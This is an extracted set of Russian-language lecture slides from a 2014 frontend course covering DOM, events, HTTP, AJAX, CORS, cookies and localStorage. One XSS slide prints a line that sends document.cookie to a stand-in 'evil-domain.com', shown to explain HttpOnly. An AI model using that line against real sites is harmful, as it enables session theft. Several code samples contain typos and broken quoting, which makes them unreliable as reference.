frontend весна 2014 лекция 2
TRANSCRIPT
Фронтенд
I. DOM, Events
Native objects
Native object — object in an ECMAScript implementation whose semantics
are fully defined by this specification rather than by the host environment.
Section 4.3.6, ECMAScript 5.1“3
Native objects
Object
Array
Date
…
Array.prototype.indexOf
String.prototype.replace
…
01.
02.
03.
04.
05.
06.
07.
4
Host objects
Host object — object supplied by the host environment to complete the
execution environment of ECMAScript.
Section 4.3.8, ECMAScript 5.1“5
Host objects
window
document
history
…
document.getElementById
…
01.
02.
03.
04.
05.
06.
6
DOM
Document Object Model
1. DOM Core: Node, Element, Document, Event…
2. DOM Events
DOM Reference
8
Node
element.nodeType /* 1, 3… */
element.tagName /* "DIV", "A"… */
element.nodeValue
01.
02.
03.
9
Обход дерева
element.previousSibling || element.nextSibling
element.firstChild || element.lastChild
element.parentNode
element.childNodes
element.children
Демонстрация
01.
02.
03.
04.
05.
10
Поиск элемента
document.getElementById /* element */
element.getElementsByTagName /* HTMLCollection */
element.getElementsByClassName /* HTMLCollection */
element.querySelector /* element */
element.querySelectorAll /* elementList */
Демонстрация
01.
02.
03.
04.
05.
11
jQuery
$('#page') /* ⟷ document.getElementById('page') */
$('div') /* ⟷ document.getElementsByTagName('div') */
$('.link') /* ⟷ document.getElementsByClassName('link') */
$('#page div .link') /* ⟷
document.querySelectorAll('#page div .link') */
01.
02.
03.
04.
05.
12
HTMLCollection (live-NodeList )
length
item(index)
[index]
01.
02.
03.
13
HTMLCollection (live-NodeList )
var links = document.getElementsByTagName('a');
for (var i = 0, l = links.length; i < l; i++) {
/* links[i] */
}
01.
02.
03.
04.
14
HTMLCollection vs. Array
length
[index]
forEach(fn)
map(fn)
indexOf(item)
…
01.
02.
03.
04.
05.
06.
15
HTMLCollection vs. Array
var links = document.getElementsByTagName('a');
var linksArray = Array.prototype.slice.call(links);
linksArray.forEach(function (link) {
/* link */
});
01.
02.
03.
04.
05.
16
jQuery
$('a').each(function (i, link) {
var $this = $(this); /* link */
});
01.
02.
03.
17
Модификация узла
element.id = "" /* ⟷ id */
element.className = "" /* ⟷ class */
element.classList /* ⟷ class */
01.
02.
03.
18
Модификация узла
element.getAttribute("class")
element.setAttribute("class", className)
element.hasAttribute("class")
element.removeAttribute("class")
01.
02.
03.
04.
19
jQuery
$(element).attr("class") /* ⟷ element.getAttribute("class") */
$(element).attr("class", className) /* ⟷
element.setAttribute("class", className) */
$(element).removeAttr("class") /* ⟷
element.removeAttribute("class") */
01.
02.
03.
04.
05.
20
attr vs. prop
<input type="checkbox" checked="checked" />
element.checked /* true */
$(element).prop("checked") /* true */
element.getAttribute("checked") /* "checked" */
$(element).attr("checked") /* "checked" */
01.
02.
03.
04.
21
dataset
<div data-value="true" data-company-name="Mail.ru" />
element.dataset.value /* "true" */
element.dataset.companyName /* "Mail.ru" */
$(element).data("value") /* "true" */
$(element).data("companyName") /* "Mail.ru" */
01.
02.
03.
04.
22
Модификация дерева
document.createElement("div")
parent.appendChild(child)
parent.insertBefore(child, referenceElement)
parent.removeChild(child)
01.
02.
03.
04.
23
jQuery
$("body").append("<div class="page">…</div");
$("<div class="page">…</div").appendTo("body");
/* prepent, perependTo */
01.
02.
03.
24
Events
DefaultView
Document
<html>
<body>
<table>
<tbody>
<tr> <tr>
<td>
Shady Grove
<td>
Aeolian
<td>
Over the River, Charlie
<td>
Dorian
Capture Phase (1)
Target Phase (2)
Bubbling Phase (3)
Events
element.addEventListener(type, listener[, useCapture])
element.removeEventListener(type, listener[, useCapture])
Демонстрация
01.
02.
27
jQuery
$(element).on(type, listener) /* ⟷
element.addEventListener(type, listener, false) */
$(element).off(type, listener) /* ⟷
element.removeEventListener(type, listener, false) */
01.
02.
03.
04.
28
Свойства события
event.type
evnet.eventPhase
event.target
event.curentTarget
event.preventDefault()
event.stopPropogation()
event.stopImmediatePropagation()
01.
02.
03.
04.
05.
06.
07.
29
Источники событий
Element
document
window
XMLHttpRequest
…
01.
02.
03.
04.
05.
30
Input device events
click, dblclick
contextmenu
keydown, keyup, keypress
mousein, mouseout, mousemove
mouseenter, mouseleave
mousedown, mouseup
01.
02.
03.
04.
05.
06.
31
Form events
reset
submit
01.
02.
32
Focus events
focus
blur
change
01.
02.
03.
33
Document events
load, unload
DOMContentLoaded
01.
02.
34
Window events
hashchange
resize
01.
02.
35
Event delegation
$('table').on('click', 'td', function (e) {
alert(e.target);
});
Демонстрация
01.
02.
03.
36
Домашнее задание
РЕАЛИЗАЦИЯ ИГРОВОЙ МЕХАНИКИ
ДОРАБОТАТЬ ПРОТОТИП ПО ТЗ
01.
02.
37
II. Сетевоевзаимодействие
Uniform resource locator
scheme://domain:port/path?query_string#fragment_id
location.protocol /* "scheme:" */
location.hostname /* "domain" */
location.port /* "port" */
location.pathname /* "/path" */
location.search /* "?query_string" */
location.hash /* "#fragment_id" */
01.
02.
03.
04.
05.
06.
07.
39
HyperText Transfer Protocol
ПРОТОКОЛ ПРИКЛАДНОГО УРОВНЯ (7-ОЙ УРОВЕНЬ OSI)
КЛИЕНТ (ЗАПРОС) — СЕРВЕР (ОТВЕТ)
НЕ ХРАНИТ СОСТОЯНИЕ МЕЖДУ ЗАПРОСАМИ
ПРОСТ В РЕАЛИЗАЦИИ
РАСШИРЯЕМЫЙ
РАСПРОСТРАНЕННЫЙ
01.
02.
03.
04.
05.
06.
40
OSI
ФИЗИЧЕСКИЙ (СРЕДА, СИГНАЛЫ, КОДЫ)
КАНАЛЬНЫЙ (ФИЗИЧЕСКАЯ АДРЕСАЦИЯ)
СЕТЕВОЙ (ЛОГИЧЕСКАЯ АДРЕСАЦИЯ, МАРШРУТИЗАЦИЯ)
ТРАНСПОРТНЫЙ (НАДЕЖНОСТЬ)
СЕАНСОВЫЙ (СЕССИИ)
ПРЕДСТАВИТЕЛЬСКИЙ (СЖАТИЕ, ШИФРОВАНИЕ)
ПРИКЛАДНОЙ (ДОСТУП К ДАННЫМ)
01.
02.
03.
04.
05.
06.
07.
41
HTTP
1991 HTTP/0.9
1996 HTTP/1.0
1999 HTTP/1.1
01.
02.
03.
42
Структура протокола
СТАРТОВАЯ СТРОКА // >= HTTP/0.9
ЗАГОЛОВКИ // >= HTTP/1.0
ТЕЛО СООБЩЕНИЯ // >= HTTP/1.0
01.
02.
03.
43
http://mail.ru/
GET / HTTP/1.1
Host: mail.ru
Accept: text/html,application/xhtml+xml,…
Connection: keep-alive
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,ru;q=0.6
User-Agent: Mozilla/5.0 … Safari/537.36
01.
02.
03.
04.
05.
06.
07.
44
HTTP/1.1 200 OK
Date: Sun, 16 Feb 2014 22:09:34 GMT
Server: Apache/1.3.27 (Unix) …
Content-Encoding: gzip
Connection: close
Cache-Control: no-cache,no-store,must-revalidate
Content-Length: 50316
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>…
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.45
Методы
GET // ЗАПРОС ДАННЫХ
POST // ПЕРЕДАЧА ДАННЫХ
PUT // ЗАГРУЗКА СОДЕРЖИМОГО ЗАПРОСА
DELETE // УДАЛЕНИЕ РЕСУРСА
HEAD // ПОЛУЧЕНИЕ ТОЛЬКО ЗАГОЛОВКОВ
OPTIONS // ОПРЕДЕЛЕНИЕ ВОЗМОЖНОСТЕЙ СЕРВЕРА
…
01.
02.
03.
04.
05.
06.
07.
46
Коды ответов
ИНФОРМАЦИОННЫЕ // 1xx
УСПЕШНЫЕ // 2xx
ПЕРЕНАПРАВЛЕНИЕ // 3xx
ОШИБКА КЛИЕНТА // 4xx
ОШИБКА СЕРВЕРА // 5xx
01.
02.
03.
04.
05.
47
200 // OK
301 // Moved Permanently
302 // Moved Temporarily
304 // Not Modified
400 // Bad Request
401 // Unauthorized
404 // Not Found
405 // Method Not Allowed
414 // Request-URI Too Large
01.
02.
03.
04.
05.
06.
07.
08.
09.
48
500 // Internal Server Error
502 // Bad Gateway
503 // Service Unavailable
504 // Gateway Timeout
01.
02.
03.
04.
49
AJAX =AsynchronousJavaScript + XML
AJAX
AJAX — подход к построению интерактивных пользовательских
интерфейсов веб-приложений, заключающийся в «фоновом» обмене
данными браузера с веб-сервером.
Википедия
“51
PROs
ЭКОНОМИЯ ТРАФИКА
СНИЖЕНИЕ НАГРУЗКИ НА СЕРВЕР-САЙД
УСКОРЕНИЕ РЕАКЦИИ ИНТЕРФЕЙСА
ИНТЕРАКТИВНЫЙ ВОЗМОЖНОСТИ
01.
02.
03.
04.
52
CONs
ТРУДНОСТИ ИНДЕКСИРОВАНИЯ
УСЛОЖНЕНИЕ РАЗРАБОТКИ
ТРЕБУЕТСЯ JAVASCRIPT
01.
02.
03.
53
Способы
XMLHttpRequest
JSONP
IFRAME
CORS
WebSockets
01.
02.
03.
04.
05.
54
XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://mail.ru/", true);
xhr.send(null);
01.
02.
03.
55
XMLHttpRequest
xhr.onreadystatechange = function (e) {
/* e.target === xhr; */
if (xhr.readyState === 4) {
if (xhr.status === 200) {
alert(xhr.responseText);
}
}
};
01.
02.
03.
04.
05.
06.
07.
08. 56
readyState
0 /* UNSENT — до open() */
1 /* OPENED — до send() */
2 /* HEADERS_RECEIVED — данные еще не получены */
3 /* LOADING — данные начали поступать */
4 /* DONE — данные получены */
01.
02.
03.
04.
05.
57
xhr.readyState === 4
xhr.status /* Number */
xhr.responseText /* String */
xhr.responseXML /* XMLDocument */
01.
02.
03.
58
Same-origin policy
https://e.mail.ru/messages/inbox/ (ORIGIN)
https://e.mail.ru/compose/ (SAME-ORIGIN)
http ://e.mail.ru/compose/ (CROSS-ORIGIN)
https://e.mail.ru: 8080 /compose/ (CROSS-ORIGIN)
https:// news .mail.ru/ (CROSS-ORIGIN)
01.
02.
03.
04.
05.
59
JSONP
<script>
function resultHnd(json) {
/* json */
}
</script>
<script src="http://example.com/users/?cb=resultHnd">
</script>
01.
02.
03.
04.
05.
06.
07.
60
JSONP
> GET /users/?cb=resultHnd HTTP/1.0
< resultHnd({ … });
> GET /users/?cb=resultHndN HTTP/1.0
< resultHndN({ … });
01.
02.
03.
04.
05.
61
IFRAME (SAME-ORIGIN)
<iframe name="req" src="javascript:false"
style="display:none"></iframe>
<script>
function resultHnd(json) {
/* json */
}
</script>
01.
02.
03.
04.
05.
06.
07.
62
IFRAME (SAME-ORIGIN)
<form action="/ifecho" method="post" target="req">
<input type="hidden" name="cb" value="resultHnd" />
<input type="text" name="msg" value="Hello" />
</form>
01.
02.
03.
04.
63
IFRAME (SAME-ORIGIN)
> POST /upload HTTP/1.0
> …
< <script>
< window.parent.resultHnd({ … });
< </script>
01.
02.
03.
04.
05.
06.
64
IFRAME (CROSS-ORIGIN)
> POST /upload HTTP/1.0
> …
< <script>
< window.parent.resultHnd({ … });
< </script>
01.
02.
03.
04.
05.
06.
65
IFRAME (CROSS-ORIGIN)
> POST /upload HTTP/1.0
> …
< <script>
< window.parent.postMessage("resultHnd:{ … }", "*");
< </script>
01.
02.
03.
04.
05.
06.
66
IFRAME (CROSS-ORIGIN)
IFRAME (ДЛЯ ЗАГРУЗКИ) +
JSONP (ДЛЯ ОТСЛЕЖИВАНИЯ СТАТУСА)
01.
02.
67
Cross-Origin Resource Sharing
/* Origin: tech-mail.ru */
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (e) { };
xhr.open("GET", "http://mail.ru/", true);
xhr.send(null);
01.
02.
03.
04.
05.
68
Cross-Origin Resource Sharing
> GET / HTTP/1.1
> Host: mail.ru
> Referer: http://tech-mail.ru/
> Origin: http://tech-mail.ru/
> User-Agent: Mozilla/5.0 …
01.
02.
03.
04.
05.
69
Cross-Origin Resource Sharing
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 201474
< …
01.
02.
03.
04.
70
Cross-Origin Resource Sharing
XMLHttpRequest cannot load http://mail.ru/.
No 'Access-Control-Allow-Origin' header is present
on the requested resource. Origin 'http://tech-mail.ru'
is therefore not allowed access.
01.
02.
03.
04.
71
Cross-Origin Resource Sharing
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: text/html; charset=utf-8
< Content-Length: 201474
< …
01.
02.
03.
04.
05.
72
CORS With Credentials
/* Origin: tech-mail.ru */
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
< Access-Control-Allow-Origin: http://tech-mail.ru
< Access-Control-Allow-Credentials: true
01.
02.
03.
04.
05.
06.
73
Comet
Comet — любая модель работы веб-приложения, при которой
постоянное HTTP-соединение позволяет веб-серверу отправлять
(push) данные браузеру без дополнительного запроса со стороны
браузера.
Википедия
“74
Comet
IFRAME /* …<script>…</script>…<script>…</script>… */
WebSockets
01.
02.
75
Поддержка WebSockets
Chrome 16 & Chrome for Android 16
Firefox 11
Internet Explorer 10
Opera 12.10
Safari 6.0 & Safari Mobile 6.0
01.
02.
03.
04.
05.
76
Особенности WebSockets
Upgrades from HTTP 1.1
Cross-Origin Resource Sharing (CORS)
Message-based
01.
02.
03.
77
Использование WebSockets
var connection = new WebSocket('ws://example.com/echo');
connection.onopen = function () { … };
connection.onerror = function (error) { … };
connection.onmessage = function (e) { /* e.data */ };
connection.send(msg);
01.
02.
03.
04.
05.
78
Домашнее задание
ВЗАИМОДЕЙСТВИЕ С СЕРВЕРОМ С ПОМОЩЬЮ AJAX
79
III. Хранениеданных
HTTP is astateless protocol
Cookies
Cookies
Куки — небольшой фрагмент данных, отправленный веб-сервером и
хранимый на компьютере пользователя. Веб-клиент (обычно веб-
браузер) всякий раз при попытке открыть страницу
соответствующего сайта пересылает этот фрагмент данных веб-
серверу в виде HTTP-запроса.
Википедия
“83
Использование
АУТЕНТИФИКАЦИЯ
ХРАНЕНИЕ НАСТРОЕК ПОЛЬЗОВАТЕЛЕЙ
ОТСЛЕЖИВАНИЕ СЕАНСА
СБОР СТАТИСТИКИ
01.
02.
03.
04.
84
Спецификация
ДО 4096 БАЙТ МИНМУМ
МИНИМУМ 20 ШТ. НА ДОМЕН
МИНИМУМ 300 ШТ. ВСЕГО
ИМЕНЯ НЕЧУВСТВИТЕЛЬНЫ К РЕГИСТРУ
01.
02.
03.
04.
85
1 Клиент → Сервер
GET / HTTP/1.1
Host: example.com
…
01.
02.
03.
86
2 Клиент ← Сервер
HTTP/1.1 200 OK
Set-Cookie: name=value
Content-Type: text/html
…
01.
02.
03.
04.
87
3 Клиент → Сервер
GET / HTTP/1.1
Host: example.com
Cookie: name=value
…
01.
02.
03.
04.
88
4 Клиент ← Сервер
HTTP/1.1 200 OK
Set-Cookie: name=newValue
Content-Type: text/html
…
01.
02.
03.
04.
89
Set-Cookie
Set-Cookie: value[; expires=date][; domain=domain]
[; path=path][; secure][; HttpOnly]
01.
02.
90
Set-Cookie’s expires
Set-Cookie: value; expires=Sat, 01 March 2014 13:21:34 GMT
91
Set-Cookie’s domain
Set-Cookie: value1; domain=.mail.ru
Set-Cookie: value2; domain=e.mail.ru
92
Set-Cookie’s path
Set-Cookie: value1; path=/
Set-Cookie: value2; path=/check
Set-Cookie: value3; path=/checkout
93
Cookie ID
Set-Cookie: name=value1; domain=.example.com; path=/
Set-Cookie: name=value2; domain=www.example.com; path=/
Set-Cookie: name=value3; domain=.example.com; path=/archive
Cookie: name=value1; name=value2; name=value3
01.
02.
03.
94
JavaScript
document.cookie; /* "name=newValue" */
document.cookie = "name2=value";
document.cookie; /* "name=newValue; name2=value" */
01.
02.
03.
95
Cross Site Scripting (XSS)
(new Image()).src = "http://evil-domain.com/?cookie=" +
document.cookie;
01.
02.
96
HttpOnly
Set-Cookie: name1=value;
Set-Cookie: name2=value; HttpOnly
document.cookie; /* "name1=value" */
01.
02.
97
localStorage
window.localStorage
localStorage[key]; /* String */
localStorage[key] = value; /* String */
01.
02.
99
window.localStorage
localStorage.length
localStorage.key(i)/* String */
localStorage.getItem(key) /* String */
localStorage.setItem(key, value)
localStorage.removeItem(key)
localStorage.clear()
01.
02.
03.
04.
05.
06.
100
Событие storage
window.addEventListener("storage", function (e) {
/* e.key, e.newValue */
})
01.
02.
03.
101
JSON
function setJSON(key, value) {
localStorage[key] = JSON.stringify(value);
}
function getJSON(key) {
var value = localStorage[key];
return value ? JSON.parse(value) : null;
}
01.
02.
03.
04.
05.
06.
07.
102
sessionStorage